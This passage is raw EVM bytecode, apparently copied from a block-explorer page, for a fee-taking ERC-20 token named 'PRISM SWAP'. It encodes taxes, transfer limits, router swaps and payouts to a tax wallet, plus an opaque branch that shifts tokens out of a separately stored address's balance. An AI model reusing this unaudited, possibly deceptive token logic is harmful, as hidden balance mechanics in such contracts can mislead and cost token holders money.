b61186891906127b2565b905060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156118f257503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561196d57600e5482111561193c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161193390612d69565b60405180910390fd5b6064600b54600d541161195157600754611955565b6009545b836119609190612573565b61196a91906127b2565b90505b5f6119773061071f565b905082811015611b56575f6119ac60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661071f565b9050838110611a8f578360015f60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254611a2291906125b4565b925050819055508360015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254611a759190612d87565b925050819055508382611a889190612d87565b9150611b54565b5f60015f60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508060015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254611b3e9190612d87565b925050819055508082611b519190612d87565b91505b505b601260159054906101000a900460ff16158015611bbf575060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b8015611bd75750601260169054906101000a900460ff165b8015611be4575060105481115b8015611bf35750600c54600d54115b15611c2d57611c15611c1084611c0b8460115461208e565b61208e565b611db2565b5f4790505f811115611c2b57611c2a47612014565b5b505b505b5f811115611c8b578060015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254611c839190612d87565b925050819055505b8160015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254611cd791906125b4565b925050819055508082611cea91906125b4565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254611d359190612d87565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8385611d9791906125b4565b604051611da49190612261565b60405180910390a350505050565b6001601260156101000a81548160ff0219169083151502179055505f810315611ff757601260149054906101000a900460ff1615611ff7575f600267ffffffffffffffff811115611e0657611e05612e69565b5b604051908082528060200260200182016040528015611e345781602001602082028036833780820191505090505b50905030815f81518110611e4b57611e4a612e96565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611ee2573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611f069190612733565b81600181518110611f1a57611f19612e96565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f7330737a250d5630b4cf539739df2c5dacb4c659f2488d8461110d565b737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401611fc8959493929190612f7a565b5f604051808303815f87803b158015611fdf575f80fd5b505af1158015611ff1573d5f803e3d5ffd5b50505050505b5f601260156101000a81548160ff02191690831515021790555050565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015612079573d5f803e3d5ffd5b5050565b5f80823b90505f8111915050919050565b5f81831161209c578261209e565b815b905092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156120dd5780820151818401526020810190506120c2565b5f8484015250505050565b5f601f19601f8301169050919050565b5f612102826120a6565b61210c81856120b0565b935061211c8185602086016120c0565b612125816120e8565b840191505092915050565b5f6020820190508181035f83015261214881846120f8565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61217d82612154565b9050919050565b61218d81612173565b8114612197575f80fd5b50565b5f813590506121a881612184565b92915050565b5f819050919050565b6121c0816121ae565b81146121ca575f80fd5b50565b5f813590506121db816121b7565b92915050565b5f80604083850312156121f7576121f6612150565b5b5f6122048582860161219a565b9250506020612215858286016121cd565b9150509250929050565b5f8115159050919050565b6122338161221f565b82525050565b5f60208201905061224c5f83018461222a565b92915050565b61225b816121ae565b82525050565b5f6020820190506122745f830184612252565b92915050565b5f805f6060848603121561229157612290612150565b5b5f61229e8682870161219a565b93505060206122af8682870161219a565b92505060406122c0868287016121cd565b9150509250925092565b5f60ff82169050919050565b6122df816122ca565b82525050565b5f6020820190506122f85f8301846122d6565b92915050565b5f6020828403121561231357612312612150565b5b5f6123208482850161219a565b91505092915050565b5f806040838503121561233f5761233e612150565b5b5f61234c858286016121cd565b925050602061235d858286016121cd565b9150509250929050565b61237081612173565b82525050565b5f6020820190506123895f830184612367565b92915050565b5f80604083850312156123a5576123a4612150565b5b5f6123b28582860161219a565b92505060206123c38582860161219a565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111561244f5780860481111561242b5761242a6123cd565b5b600185161561243a5780820291505b8081029050612448856123fa565b945061240f565b94509492505050565b5f826124675760019050612522565b81612474575f9050612522565b816001811461248a5760028114612494576124c3565b6001915050612522565b60ff8411156124a6576124a56123cd565b5b8360020a9150848211156124bd576124bc6123cd565b5b50612522565b5060208310610133831016604e8410600b84101617156124f85782820a9050838111156124f3576124f26123cd565b5b612522565b6125058484846001612406565b9250905081840481111561251c5761251b6123cd565b5b81810290505b9392505050565b5f612533826121ae565b915061253e836122ca565b925061256b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612458565b905092915050565b5f61257d826121ae565b9150612588836121ae565b9250828202612596816121ae565b915082820484148315176125ad576125ac6123cd565b5b5092915050565b5f6125be826121ae565b91506125c9836121ae565b92508282039050818111156125e1576125e06123cd565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f61261b6020836120b0565b9150612626826125e7565b602082019050919050565b5f6020820190508181035f8301526126488161260f565b9050919050565b7f496e697469616c2074617820746f6f20686967680000000000000000000000005f82015250565b5f6126836014836120b0565b915061268e8261264f565b602082019050919050565b5f6020820190508181035f8301526126b081612677565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f6126eb6017836120b0565b91506126f6826126b7565b602082019050919050565b5f6020820190508181035f830152612718816126df565b9050919050565b5f8151905061272d81612184565b92915050565b5f6020828403121561274857612747612150565b5b5f6127558482850161271f565b91505092915050565b5f6040820190506127715f830185612367565b61277e6020830184612367565b9392505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6127bc826121ae565b91506127c7836121ae565b9250826127d7576127d6612785565b5b828204905092915050565b5f819050919050565b5f819050919050565b5f61280e612809612804846127e2565b6127eb565b6121ae565b9050919050565b61281e816127f4565b82525050565b5f60c0820190506128375f830189612367565b6128446020830188612252565b6128516040830187612815565b61285e6060830186612815565b61286b6080830185612367565b61287860a0830184612252565b979650505050505050565b5f81519050612891816121b7565b92915050565b5f805f606084860312156128ae576128ad612150565b5b5f6128bb86828701612883565b93505060206128cc86828701612883565b92505060406128dd86828701612883565b9150509250925092565b5f6040820190506128fa5f830185612367565b6129076020830184612252565b9392505050565b6129178161221f565b8114612921575f80fd5b50565b5f815190506129328161290e565b92915050565b5f6020828403121561294d5761294c612150565b5b5f61295a84828501612924565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6129bd6024836120b0565b91506129c882612963565b604082019050919050565b5f6020820190508181035f8301526129ea816129b1565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612a4b6022836120b0565b9150612a56826129f1565b604082019050919050565b5f6020820190508181035f830152612a7881612a3f565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612ad96025836120b0565b9150612ae482612a7f565b604082019050919050565b5f6020820190508181035f830152612b0681612acd565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612b676023836120b0565b9150612b7282612b0d565b604082019050919050565b5f6020820190508181035f830152612b9481612b5b565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f612bf56029836120b0565b9150612c0082612b9b565b604082019050919050565b5f6020820190508181035f830152612c2281612be9565b9050919050565b7f4e6f7420796574206c61756e63686564000000000000000000000000000000005f82015250565b5f612c5d6010836120b0565b9150612c6882612c29565b602082019050919050565b5f6020820190508181035f830152612c8a81612c51565b9050919050565b7f4f6e6c79206f6e65207472616e736665722070657220626c6f636b20616c6c6f5f8201527f7765642e00000000000000000000000000000000000000000000000000000000602082015250565b5f612ceb6024836120b0565b9150612cf682612c91565b604082019050919050565b5f6020820190508181035f830152612d1881612cdf565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e000000000000005f82015250565b5f612d536019836120b0565b9150612d5e82612d1f565b602082019050919050565b5f6020820190508181035f830152612d8081612d47565b9050919050565b5f612d91826121ae565b9150612d9c836121ae565b9250828201905080821115612db457612db36123cd565b5b92915050565b7f4578636565647320746865206d617857616c6c657453697a652e0000000000005f82015250565b5f612dee601a836120b0565b9150612df982612dba565b602082019050919050565b5f6020820190508181035f830152612e1b81612de2565b9050919050565b5f612e2c826121ae565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612e5e57612e5d6123cd565b5b600182019050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b612ef581612173565b82525050565b5f612f068383612eec565b60208301905092915050565b5f602082019050919050565b5f612f2882612ec3565b612f328185612ecd565b9350612f3d83612edd565b805f5b83811015612f6d578151612f548882612efb565b9750612f5f83612f12565b925050600181019050612f40565b5085935050505092915050565b5f60a082019050612f8d5f830188612252565b612f9a6020830187612815565b8181036040830152612fac8186612f1e565b9050612fbb6060830185612367565b612fc86080830184612252565b969550505050505056fea2646970667358221220fe868643d0fcba9f7911f6d0f7c92fccf3b128513811d3d2e2069eda48e6aeff64736f6c63430008170033

Deployed Bytecode

0x60806040526004361061012d575f3560e01c8063751039fc116100aa57806395d89b411161006e57806395d89b4114610392578063a9059cbb146103bc578063bf474bed146103f8578063c876d0b914610422578063ca72a4e71461044c578063dd62ed3e1461046857610134565b8063751039fc146102d65780637d1db4a5146102ec5780638aa0480a146103165780638da5cb5b1461033e5780638f9a55c01461036857610134565b8063313ce567116100f1578063313ce5671461022e57806341fb0d211461025857806351bc3c851461026e57806370a0823114610284578063715018a6146102c057610134565b806306fdde0314610138578063095ea7b3146101625780630faee56f1461019e57806318160ddd146101c857806323b872dd146101f257610134565b3661013457005b5f80fd5b348015610143575f80fd5b5061014c6104a4565b6040516101599190612130565b60405180910390f35b34801561016d575f80fd5b50610188600480360381019061018391906121e1565b6104e1565b6040516101959190612239565b60405180910390f35b3480156101a9575f80fd5b506101b26104f7565b6040516101bf9190612261565b60405180910390f35b3480156101d3575f80fd5b506101dc6104fd565b6040516101e99190612261565b60405180910390f35b3480156101fd575f80fd5b506102186004803603810190610213919061227a565b610520565b6040516102259190612239565b60405180910390f35b348015610239575f80fd5b506102426105c5565b60405161024f91906122e5565b60405180910390f35b348015610263575f80fd5b5061026c6105cd565b005b348015610279575f80fd5b5061028261068e565b005b34801561028f575f80fd5b506102aa60048036038101906102a591906122fe565b61071f565b6040516102b79190612261565b60405180910390f35b3480156102cb575f80fd5b506102d4610765565b005b3480156102e1575f80fd5b506102ea6108ac565b005b3480156102f7575f80fd5b506103006109ed565b60405161030d9190612261565b60405180910390f35b348015610321575f80fd5b5061033c60048036038101906103379190612329565b6109f3565b005b348015610349575f80fd5b50610352610ae3565b60405161035f9190612376565b60405180910390f35b348015610373575f80fd5b5061037c610b0a565b6040516103899190612261565b60405180910390f35b34801561039d575f80fd5b506103a6610b10565b6040516103b39190612130565b60405180910390f35b3480156103c7575f80fd5b506103e260048036038101906103dd91906121e1565b610b4d565b6040516103ef9190612239565b60405180910390f35b348015610403575f80fd5b5061040c610b63565b6040516104199190612261565b60405180910390f35b34801561042d575f80fd5b50610436610b69565b6040516104439190612239565b60405180910390f35b610466600480360381019061046191906122fe565b610b7b565b005b348015610473575f80fd5b5061048e6004803603810190610489919061238f565b61108b565b60405161049b9190612261565b60405180910390f35b60606040518060400160405280600a81526020017f505249534d205357415000000000000000000000000000000000000000000000815250905090565b5f6104ed33848461110d565b6001905092915050565b60115481565b5f6009600a61050c9190612529565b633b9aca0061051b9190612573565b905090565b5f61052c8484846112d0565b6105ba84338460025f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546105b591906125b4565b61110d565b600190509392505050565b5f6009905090565b3373ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461065a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161065190612631565b60405180910390fd5b600260085f82825461066c91906125b4565b92505081905550600260095f82825461068591906125b4565b92505081905550565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146106e7575f80fd5b5f6106f13061071f565b90505f8111156107055761070481611db2565b5b5f4790505f81111561071b5761071a81612014565b5b5050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107e990612631565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b3373ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610939576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161093090612631565b60405180910390fd5b6009600a6109479190612529565b633b9aca006109569190612573565b600e819055506009600a61096a9190612529565b633b9aca006109799190612573565b600f819055505f60055f6101000a81548160ff0219169083151502179055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a6109c79190612529565b633b9aca006109d69190612573565b6040516109e39190612261565b60405180910390a1565b600e5481565b3373ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a7790612631565b60405180910390fd5b60328211158015610a92575060328111155b610ad1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ac890612699565b60405180910390fd5b81600681905550806007819055505050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600f5481565b60606040518060400160405280600581526020017f505249534d000000000000000000000000000000000000000000000000000000815250905090565b5f610b593384846112d0565b6001905092915050565b60105481565b60055f9054906101000a900460ff1681565b3373ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c08576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bff90612631565b60405180910390fd5b601260149054906101000a900460ff1615610c58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c4f90612701565b60405180910390fd5b610c9730737a250d5630b4cf539739df2c5dacb4c659f2488d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff61110d565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610e8957737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d27573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d4b9190612733565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610dc4573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610de89190612733565b6040518363ffffffff1660e01b8152600401610e0592919061275e565b6020604051808303815f875af1158015610e21573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e459190612733565b60125f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610eca565b8060125f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663f305d71947306002610f073061071f565b610f1191906127b2565b5f80610f1b610ae3565b426040518863ffffffff1660e01b8152600401610f3d96959493929190612824565b60606040518083038185885af1158015610f59573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610f7e9190612897565b50505060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3737a250d5630b4cf539739df2c5dacb4c659f2488d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016110119291906128e7565b6020604051808303815f875af115801561102d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906110519190612938565b506001601260166101000a81548160ff0219169083151502179055506001601260146101000a81548160ff02191690831515021790555050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361117b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611172906129d3565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036111e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111e090612a61565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112c39190612261565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361133e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133590612aef565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036113ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113a390612b7d565b60405180910390fd5b5f81116113ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113e590612c0b565b60405180910390fd5b5f6113f7610ae3565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156114655750611435610ae3565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611c2f575f73ffffffffffffffffffffffffffffffffffffffff1660125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16036114f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114f090612c73565b60405180910390fd5b60055f9054906101000a900460ff161561167257737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115aa575060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611671574360045f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541061162e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162590612d01565b60405180910390fd5b4360045f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b5b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614801561170e5750737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611761575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561183a57600e548211156117ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117a290612d69565b60405180910390fd5b600f54826117b88561071f565b6117c29190612d87565b1115611803576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117fa90612e04565b60405180910390fd5b600c54600d541015611822576118188361207d565b15611821575f80fd5b5b600d5f81548092919061183490612e22565b91905055505b6064600a54600d541161184f57600654611853565b6008545b8361185e9190612573565b61186891906127b2565b905060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156118f257503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561196d57600e5482111561193c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161193390612d69565b60405180910390fd5b6064600b54600d541161195157600754611955565b6009545b836119609190612573565b61196a91906127b2565b90505b5f6119773061071f565b905082811015611b56575f6119ac60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661071f565b9050838110611a8f578360015f60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254611a2291906125b4565b925050819055508360015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254611a759190612d87565b925050819055508382611a889190612d87565b9150611b54565b5f60015f60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508060015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254611b3e9190612d87565b925050819055508082611b519190612d87565b91505b505b601260159054906101000a900460ff16158015611bbf575060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b8015611bd75750601260169054906101000a900460ff165b8015611be4575060105481115b8015611bf35750600c54600d54115b15611c2d57611c15611c1084611c0b8460115461208e565b61208e565b611db2565b5f4790505f811115611c2b57611c2a47612014565b5b505b505b5f811115611c8b578060015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254611c839190612d87565b925050819055505b8160015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254611cd791906125b4565b925050819055508082611cea91906125b4565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254611d359190612d87565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8385611d9791906125b4565b604051611da49190612261565b60405180910390a350505050565b6001601260156101000a81548160ff0219169083151502179055505f810315611ff757601260149054906101000a900460ff1615611ff7575f600267ffffffffffffffff811115611e0657611e05612e69565b5b604051908082528060200260200182016040528015611e345781602001602082028036833780820191505090505b50905030815f81518110611e4b57611e4a612e96565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611ee2573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611f069190612733565b81600181518110611f1a57611f19612e96565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f7330737a250d5630b4cf539739df2c5dacb4c659f2488d8461110d565b737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401611fc8959493929190612f7a565b5f604051808303815f87803b158015611fdf575f80fd5b505af1158015611ff1573d5f803e3d5ffd5b50505050505b5f601260156101000a81548160ff02191690831515021790555050565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015612079573d5f803e3d5ffd5b5050565b5f80823b90505f8111915050919050565b5f81831161209c578261209e565b815b905092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156120dd5780820151818401526020810190506120c2565b5f8484015250505050565b5f601f19601f8301169050919050565b5f612102826120a6565b61210c81856120b0565b935061211c8185602086016120c0565b612125816120e8565b840191505092915050565b5f6020820190508181035f83015261214881846120f8565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61217d82612154565b9050919050565b61218d81612173565b8114612197575f80fd5b50565b5f813590506121a881612184565b92915050565b5f819050919050565b6121c0816121ae565b81146121ca575f80fd5b50565b5f813590506121db816121b7565b92915050565b5f80604083850312156121f7576121f6612150565b5b5f6122048582860161219a565b9250506020612215858286016121cd565b9150509250929050565b5f8115159050919050565b6122338161221f565b82525050565b5f60208201905061224c5f83018461222a565b92915050565b61225b816121ae565b82525050565b5f6020820190506122745f830184612252565b92915050565b5f805f6060848603121561229157612290612150565b5b5f61229e8682870161219a565b93505060206122af8682870161219a565b92505060406122c0868287016121cd565b9150509250925092565b5f60ff82169050919050565b6122df816122ca565b82525050565b5f6020820190506122f85f8301846122d6565b92915050565b5f6020828403121561231357612312612150565b5b5f6123208482850161219a565b91505092915050565b5f806040838503121561233f5761233e612150565b5b5f61234c858286016121cd565b925050602061235d858286016121cd565b9150509250929050565b61237081612173565b82525050565b5f6020820190506123895f830184612367565b92915050565b5f80604083850312156123a5576123a4612150565b5b5f6123b28582860161219a565b92505060206123c38582860161219a565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111561244f5780860481111561242b5761242a6123cd565b5b600185161561243a5780820291505b8081029050612448856123fa565b945061240f565b94509492505050565b5f826124675760019050612522565b81612474575f9050612522565b816001811461248a5760028114612494576124c3565b6001915050612522565b60ff8411156124a6576124a56123cd565b5b8360020a9150848211156124bd576124bc6123cd565b5b50612522565b5060208310610133831016604e8410600b84101617156124f85782820a9050838111156124f3576124f26123cd565b5b612522565b6125058484846001612406565b9250905081840481111561251c5761251b6123cd565b5b81810290505b9392505050565b5f612533826121ae565b915061253e836122ca565b925061256b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612458565b905092915050565b5f61257d826121ae565b9150612588836121ae565b9250828202612596816121ae565b915082820484148315176125ad576125ac6123cd565b5b5092915050565b5f6125be826121ae565b91506125c9836121ae565b92508282039050818111156125e1576125e06123cd565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f61261b6020836120b0565b9150612626826125e7565b602082019050919050565b5f6020820190508181035f8301526126488161260f565b9050919050565b7f496e697469616c2074617820746f6f20686967680000000000000000000000005f82015250565b5f6126836014836120b0565b915061268e8261264f565b602082019050919050565b5f6020820190508181035f8301526126b081612677565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f6126eb6017836120b0565b91506126f6826126b7565b602082019050919050565b5f60208201